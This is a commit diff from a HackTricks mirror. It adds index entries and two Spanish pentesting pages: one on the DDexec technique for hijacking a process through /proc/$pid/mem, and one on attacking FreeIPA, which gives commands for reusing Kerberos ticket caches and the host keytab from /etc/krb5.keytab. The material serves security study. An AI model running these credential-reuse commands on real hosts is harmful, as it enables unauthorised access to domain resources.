mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
f
This commit is contained in:
parent
aa4e6ff6a2
commit
466ebcbb16
87 changed files with 19405 additions and 1 deletions
94
SUMMARY.md
94
SUMMARY.md
|
@ -39,6 +39,98 @@
|
|||
* [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
|
||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
|
||||
## 🐧 Linux Hardening
|
||||
|
||||
* [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
* [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
* [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
* [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [Docker Security](linux-hardening/privilege-escalation/docker-security/README.md)
|
||||
* [Abusing Docker Socket for Privilege Escalation](linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md)
|
||||
* [AppArmor](linux-hardening/privilege-escalation/docker-security/apparmor.md)
|
||||
* [AuthZ& AuthN - Docker Access Authorization Plugin](linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md)
|
||||
* [CGroups](linux-hardening/privilege-escalation/docker-security/cgroups.md)
|
||||
* [Docker --privileged](linux-hardening/privilege-escalation/docker-security/docker-privileged.md)
|
||||
* [Docker Breakout / Privilege Escalation](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md)
|
||||
* [release\_agent exploit - Relative Paths to PIDs](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md)
|
||||
* [Docker release\_agent cgroups escape](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
|
||||
* [Sensitive Mounts](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md)
|
||||
* [Namespaces](linux-hardening/privilege-escalation/docker-security/namespaces/README.md)
|
||||
* [CGroup Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md)
|
||||
* [IPC Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md)
|
||||
* [PID Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md)
|
||||
* [Mount Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md)
|
||||
* [Network Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md)
|
||||
* [Time Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md)
|
||||
* [User Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md)
|
||||
* [UTS Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md)
|
||||
* [Seccomp](linux-hardening/privilege-escalation/docker-security/seccomp.md)
|
||||
* [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
|
||||
* [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
|
||||
* [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
|
||||
* [Logstash](linux-hardening/privilege-escalation/logstash.md)
|
||||
* [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
* [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
|
||||
* [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
|
||||
* [ld.so privesc exploit example](linux-hardening/privilege-escalation/ld.so.conf-example.md)
|
||||
* [Linux Active Directory](linux-hardening/privilege-escalation/linux-active-directory.md)
|
||||
* [Linux Capabilities](linux-hardening/privilege-escalation/linux-capabilities.md)
|
||||
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
* [Payloads to execute](linux-hardening/privilege-escalation/payloads-to-execute.md)
|
||||
* [RunC Privilege Escalation](linux-hardening/privilege-escalation/runc-privilege-escalation.md)
|
||||
* [SELinux](linux-hardening/privilege-escalation/selinux.md)
|
||||
* [Socket Command Injection](linux-hardening/privilege-escalation/socket-command-injection.md)
|
||||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||
* [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
||||
* [Bypass Linux Shell Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
* [DDexec](linux-hardening/bypass-linux-shell-restrictions/ddexec.md)
|
||||
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
||||
* [Linux Post-Exploitation](linux-hardening/linux-post-exploitation/README.md)
|
||||
* [PAM - Pluggable Authentication Modules](linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)
|
||||
* [FreeIPA Pentesting](linux-hardening/freeipa-pentesting.md)
|
||||
|
||||
## 🍏 MacOS Hardening
|
||||
|
||||
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
|
||||
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
|
||||
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
* [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS MDM](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md)
|
||||
* [Enrolling Devices in Other Organisations](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md)
|
||||
* [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md)
|
||||
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
* [macOS File Extension Apps](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)
|
||||
* [macOS Files, Folders, Binaries & Memory](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md)
|
||||
* [macOS Bundles](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md)
|
||||
* [macOS Memory Dumping](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md)
|
||||
* [macOS Sensitive Locations](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
* [macOS Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)
|
||||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)
|
||||
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
|
||||
* [macOS Sandbox](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md)
|
||||
* [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md)
|
||||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md)
|
||||
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
* [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md)
|
||||
* [macOS Useful Commands](macos-hardening/macos-useful-commands.md)
|
||||
* [macOS Auto Start Locations](macos-hardening/macos-auto-start-locations.md)
|
||||
|
||||
## 🦅 Reversing & Exploiting
|
||||
|
||||
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
|
@ -139,4 +231,4 @@
|
|||
* [Online Platforms with API](online-platforms-with-api.md)
|
||||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](post-exploitation.md)
|
||||
* [Cookies Policy](todo/cookies-policy.md)
|
||||
* [Cookies Policy](todo/cookies-policy.md)
|
||||
|
|
92
linux-hardening/bypass-linux-shell-restrictions/ddexec.md
Normal file
92
linux-hardening/bypass-linux-shell-restrictions/ddexec.md
Normal file
|
@ -0,0 +1,92 @@
|
|||
# DDexec
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Contexto
|
||||
|
||||
En Linux, para ejecutar un programa, este debe existir como archivo y debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (esto es simplemente cómo funciona `execve()`). Este archivo puede residir en el disco o en la memoria RAM (tmpfs, memfd), pero necesitas una ruta de archivo. Esto ha hecho muy fácil controlar lo que se ejecuta en un sistema Linux, lo que facilita la detección de amenazas y herramientas de atacantes o evitar que intenten ejecutar cualquier cosa de ellos en absoluto (_por ejemplo_, no permitir que los usuarios sin privilegios coloquen archivos ejecutables en cualquier lugar).
|
||||
|
||||
Pero esta técnica está aquí para cambiar todo esto. Si no puedes iniciar el proceso que deseas... **entonces secuestras uno que ya existe**.
|
||||
|
||||
Esta técnica te permite **burlar técnicas de protección comunes como solo lectura, noexec, lista blanca de nombres de archivo, lista blanca de hash...**
|
||||
|
||||
## Dependencias
|
||||
|
||||
El script final depende de las siguientes herramientas para funcionar, deben ser accesibles en el sistema que estás atacando (por defecto las encontrarás en todas partes):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
head
|
||||
tail
|
||||
cut
|
||||
grep
|
||||
od
|
||||
readlink
|
||||
wc
|
||||
tr
|
||||
base64
|
||||
```
|
||||
## La técnica
|
||||
|
||||
Si eres capaz de modificar arbitrariamente la memoria de un proceso, entonces puedes tomar el control de él. Esto se puede utilizar para secuestrar un proceso ya existente y reemplazarlo con otro programa. Podemos lograr esto utilizando la llamada al sistema `ptrace()` (que requiere que tengas la capacidad de ejecutar llamadas al sistema o tener gdb disponible en el sistema) o, de manera más interesante, escribiendo en `/proc/$pid/mem`.
|
||||
|
||||
El archivo `/proc/$pid/mem` es un mapeo uno a uno de todo el espacio de direcciones de un proceso (por ejemplo, desde `0x0000000000000000` hasta `0x7ffffffffffff000` en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento `x` es lo mismo que leer o modificar el contenido en la dirección virtual `x`.
|
||||
|
||||
Ahora, tenemos cuatro problemas básicos a enfrentar:
|
||||
|
||||
* En general, solo el root y el propietario del programa del archivo pueden modificarlo.
|
||||
* ASLR.
|
||||
* Si intentamos leer o escribir en una dirección que no está mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.
|
||||
|
||||
Estos problemas tienen soluciones que, aunque no son perfectas, son buenas:
|
||||
|
||||
* La mayoría de los intérpretes de shell permiten la creación de descriptores de archivos que luego serán heredados por los procesos secundarios. Podemos crear un descriptor de archivo que apunte al archivo `mem` de la shell con permisos de escritura... de esta manera, los procesos secundarios que usen ese descriptor de archivo podrán modificar la memoria de la shell.
|
||||
* ASLR ni siquiera es un problema, podemos verificar el archivo `maps` de la shell o cualquier otro del procfs para obtener información sobre el espacio de direcciones del proceso.
|
||||
* Entonces necesitamos hacer `lseek()` sobre el archivo. Desde la shell esto no se puede hacer a menos que se use el infame `dd`.
|
||||
|
||||
### Con más detalle
|
||||
|
||||
Los pasos son relativamente fáciles y no requieren ningún tipo de experiencia para entenderlos:
|
||||
|
||||
* Analiza el binario que queremos ejecutar y el cargador para averiguar qué mapeos necesitan. Luego crea un "código de shell" que realizará, en términos generales, los mismos pasos que el kernel hace en cada llamada a `execve()`:
|
||||
* Crea dichos mapeos.
|
||||
* Lee los binarios en ellos.
|
||||
* Configura los permisos.
|
||||
* Finalmente inicializa la pila con los argumentos para el programa y coloca el vector auxiliar (necesario para el cargador).
|
||||
* Salta al cargador y deja que haga el resto (cargar bibliotecas necesarias para el programa).
|
||||
* Obtén del archivo `syscall` la dirección a la que el proceso volverá después de la llamada al sistema que está ejecutando.
|
||||
* Sobrescribe ese lugar, que será ejecutable, con nuestro código de shell (a través de `mem` podemos modificar páginas no escribibles).
|
||||
* Pasa el programa que queremos ejecutar a la entrada estándar del proceso (será `leído()` por dicho "código de shell").
|
||||
* En este punto, depende del cargador cargar las bibliotecas necesarias para nuestro programa y saltar a él.
|
||||
|
||||
**Echa un vistazo a la herramienta en** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
300
linux-hardening/freeipa-pentesting.md
Normal file
300
linux-hardening/freeipa-pentesting.md
Normal file
|
@ -0,0 +1,300 @@
|
|||
# Pentesting de FreeIPA
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Esta información fue tomada de los siguientes posts:
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
|
||||
|
||||
## Información básica
|
||||
|
||||
Es una **alternativa** de código abierto al **Active Directory** de Microsoft Windows, utilizada principalmente como solución de gestión integrada para entornos **Unix**. Al igual que Active Directory, FreeIPA implementa una infraestructura completa de **directorio LDAP** respaldada por un Centro de Distribución de Claves de **Kerberos** del MIT. Utiliza el sistema de certificados Dogtag para la gestión de certificados de CA y RA, lo que le permite manejar la autenticación de **multi-factor**, incluyendo tarjetas inteligentes. SSSD se utiliza para integrar FreeIPA en el proceso de autenticación estándar de Unix.
|
||||
|
||||
## Huellas
|
||||
|
||||
### Archivos y variables de entorno
|
||||
|
||||
* **`/etc/krb5.conf`:** El archivo `krb5.conf` contiene la información del cliente Kerberos requerida para **inscribirse en el dominio**. Esto incluye las **ubicaciones de los KDC y los servidores de administración** para los reinos de Kerberos de interés, los valores predeterminados para el reino actual y para las aplicaciones de Kerberos, y los mapeos de nombres de host en los reinos de Kerberos.
|
||||
* **`/etc/ipa/default.conf`:** Este es el **archivo de configuración predeterminado para los servidores IPA**, se utiliza para establecer valores predeterminados en todo el sistema que se aplicarán al ejecutar clientes y servidores IPA.
|
||||
* **`/etc/krb5.keytab`:** El archivo `krb5.keytab` es **obligatorio** en todos los hosts dentro del **dominio**. Es necesario como parte del proceso de **autenticación** al KDC.
|
||||
* **`KRB5CCNAME`:** Si se establece, esta variable apunta a la **ubicación del archivo CCACHE Ticket** que se utilizará para la autenticación.
|
||||
* **`KRB5_KTNAME`:** Si se establece, esta variable apunta a la **ubicación** del archivo **Keytab** que se utilizará para la autenticación.
|
||||
* **`KRB5_CONFIG`:** Si se establece, esta variable apunta a la **ubicación** del **archivo de configuración de Kerberos**.
|
||||
* **`KRB5_KDC_PROFILE`:** Si se establece, esta variable apunta a la **ubicación del archivo de configuración de KDC**, que contiene directivas de configuración adicionales para el daemon del Centro de Distribución de Claves.
|
||||
* **`KRB5RCACHETYPE`:** Esta variable especifica el **tipo predeterminado de caché de repetición** que se utilizará para los servidores.
|
||||
* **`KRB5RCACHEDIR`:** Esta variable especifica el **directorio predeterminado para las cachés de repetición** utilizadas por los servidores.
|
||||
* **`KRB5_TRACE`:** Esta variable especifica un **nombre de archivo para escribir la salida de registro de seguimiento**. Los registros de seguimiento pueden ayudar a iluminar las decisiones tomadas internamente por las bibliotecas de Kerberos.
|
||||
* **`KRB5_CLIENT_KTNAME`:** Esta variable establece el **nombre del archivo de keytab del cliente predeterminado**.
|
||||
* **`KPROP_PORT`:** Esta variable establece el **puerto predeterminado para kprop**.
|
||||
|
||||
### Binarios
|
||||
|
||||
* **ipa:** Este binario es el estándar para **administrar un dominio FreeIPA**. Se puede utilizar para administrar hosts, usuarios, reglas de sudo y mucho más.
|
||||
* **kdestroy:** El binario kdestroy se utiliza para **destruir** cualquier **ticket Kerberos** actual en la sesión del usuario.
|
||||
* **kinit:** El binario kinit se utiliza para **establecer** o **renovar tickets Kerberos**.
|
||||
* **klist:** El binario klist **enumera** cualquier **ticket Kerberos actual en uso**, y a qué principios proporcionan acceso los tickets.
|
||||
* **kpasswd:** El comando kpasswd se utiliza para **cambiar la contraseña de un principal Kerberos**. kpasswd solicita primero la contraseña actual de Kerberos, luego solicita al usuario dos veces la nueva contraseña, y se cambia la contraseña.
|
||||
* **ksu:** Ksu se puede utilizar como una **alternativa al binario su**, para cambiar el **contexto de usuario actual**.
|
||||
* **kswitch:** El comando kswitch **cambia** la **caché de credenciales actual en uso**.
|
||||
* **kvno:** El binario kvno adquiere un **ticket de servicio** para los **principales Kerberos especificados** e imprime los números de versión de clave de cada uno.
|
||||
|
||||
### Red
|
||||
|
||||
Así es como podría verse un servidor FreeIPA:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Autenticación
|
||||
|
||||
Dado que FreeIPA utiliza **Kerberos para la autenticación**, este proceso es muy similar a la **autenticación** en **Active Directory**. Para **acceder** a los recursos del dominio, un usuario debe tener un **ticket Kerberos válido** para ese recurso. Estos tickets pueden almacenarse en diferentes ubicaciones según la configuración del dominio FreeIPA.
|
||||
|
||||
### Archivos de tickets CCACHE
|
||||
|
||||
Cuando los tickets se establecen para ser **almacenados** como un **archivo** en **disco**, el formato y tipo estándar es un archivo **CCACHE**. Este es un formato de archivo binario simple para almacenar credenciales de Kerberos. Estos archivos se suelen almacenar en **`/tmp`** y se limitan con permisos **600**. Desde la perspectiva de un atacante, esto es importante por las siguientes razones:
|
||||
|
||||
1. Los tickets válidos se pueden **utilizar para autenticarse**, **sin** necesidad de la **contraseña** en texto plano del usuario correspondiente.
|
||||
2. Los tickets **CCACHE** son altamente **portátiles**. Se pueden descargar y cargar en otro host sin necesidad de renovar o validar el ticket.
|
||||
|
||||
Analizar un archivo CCACHE Ticket se puede lograr fácilmente de varias maneras. El método más sencillo es analizarlo con el binario klist.
|
||||
```
|
||||
klist /tmp/krb5cc_0
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para un atacante, reutilizar un Ticket CCACHE válido es muy fácil. Para **reutilizar** un Ticket CCACHE válido, **exporta** **KRB5CCNAME** a la **ruta** del archivo de Ticket válido. El sistema debería reconocer la variable de entorno e intentará utilizar ese material de credencial al interactuar con el dominio.
|
||||
```bash
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Unix Keyring**
|
||||
|
||||
Los tickets CCACHE también se pueden **almacenar** en el **keyring** de Linux. El keyring vive dentro del **kernel**, y da a los administradores **más control sobre la recuperación y uso de los tickets almacenados**. Los tickets pueden ser delimitados de las siguientes maneras:
|
||||
|
||||
* **`KEYRING:nombre`:** Los tickets están delimitados a un keyring específico.
|
||||
* **`KEYRING:proceso:nombre`:** Los tickets están delimitados a un proceso id específico.
|
||||
* **`KEYRING:hilo:nombre`:** Los tickets están delimitados a un hilo específico.
|
||||
* **`KEYRING:sessión:nombre`:** Los tickets están delimitados a una sesión de usuario específica.
|
||||
* **`KEYRING:persistent:uidnumber`:** Los tickets están delimitados a un usuario específico independientemente de la sesión (por defecto).
|
||||
|
||||
Dependiendo de cómo el administrador delimitó el ticket almacenado dentro del Unix keyring, puede ser difícil analizarlo. Sin embargo, el **alcance** **predeterminado** para los tickets CCACHE en el Unix keyring es **`KEYRING:persistent:uidnumber`**. Afortunadamente, si estás en el **contexto** del **usuario**, `klist` puede **analizar** esta información por nosotros.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como atacante, **reutilizar un ticket CCACHE** almacenado en el **keyring** de Unix es bastante **difícil** dependiendo de cómo se delimita el ticket. Afortunadamente, [@Zer1t0](https://github.com/Zer1t0) de [@Tarlogic](https://twitter.com/Tarlogic) ha creado una herramienta que puede extraer tickets Kerberos del keyring de Unix. La herramienta se llama **Tickey** y se puede encontrar [**aquí**](https://github.com/TarlogicSecurity/tickey).
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (185).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Keytab <a href="#ff38" id="ff38"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Por lo general, cada host se despliega con una credencial de keytab para ese host que se puede usar para obtener un Ticket Granting Ticket (TGT) de caché de credenciales (CCACHE) válido para el propio host.
|
||||
{% endhint %}
|
||||
|
||||
Consiste en pares de **principales Kerberos y claves cifradas** que se derivan de la contraseña de Kerberos asociada con el principal. Dado que estas claves se derivan de la contraseña del principal, si esa **contraseña cambia, el keytab quedará invalidado**.
|
||||
|
||||
Los archivos de keytab se pueden usar para **obtener un TGT válido** para el principal al que está delimitado. Este proceso de autenticación **no requiere la contraseña**, ya que contiene claves derivadas de la contraseña.
|
||||
|
||||
Analizar un archivo de keytab es muy fácil, y se puede lograr de varias maneras. La forma más fácil de **analizar** un archivo de **keytab** es con **klist**. La segunda forma utiliza una gran utilidad de Python que [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) ha creado. Su proyecto \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* analizará el principal y sus claves cifradas relevantes.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Los atacantes pueden **reutilizar credenciales almacenadas en archivos de keytab generando un ticket CCACHE** a través del binario kinit.
|
||||
```powershell
|
||||
# Parse keytab
|
||||
klist -k /rtc/krb5.keytab
|
||||
|
||||
# Get TGT
|
||||
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Hoja de trucos
|
||||
|
||||
Puede encontrar más información sobre cómo usar tickets en Linux en el siguiente enlace:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
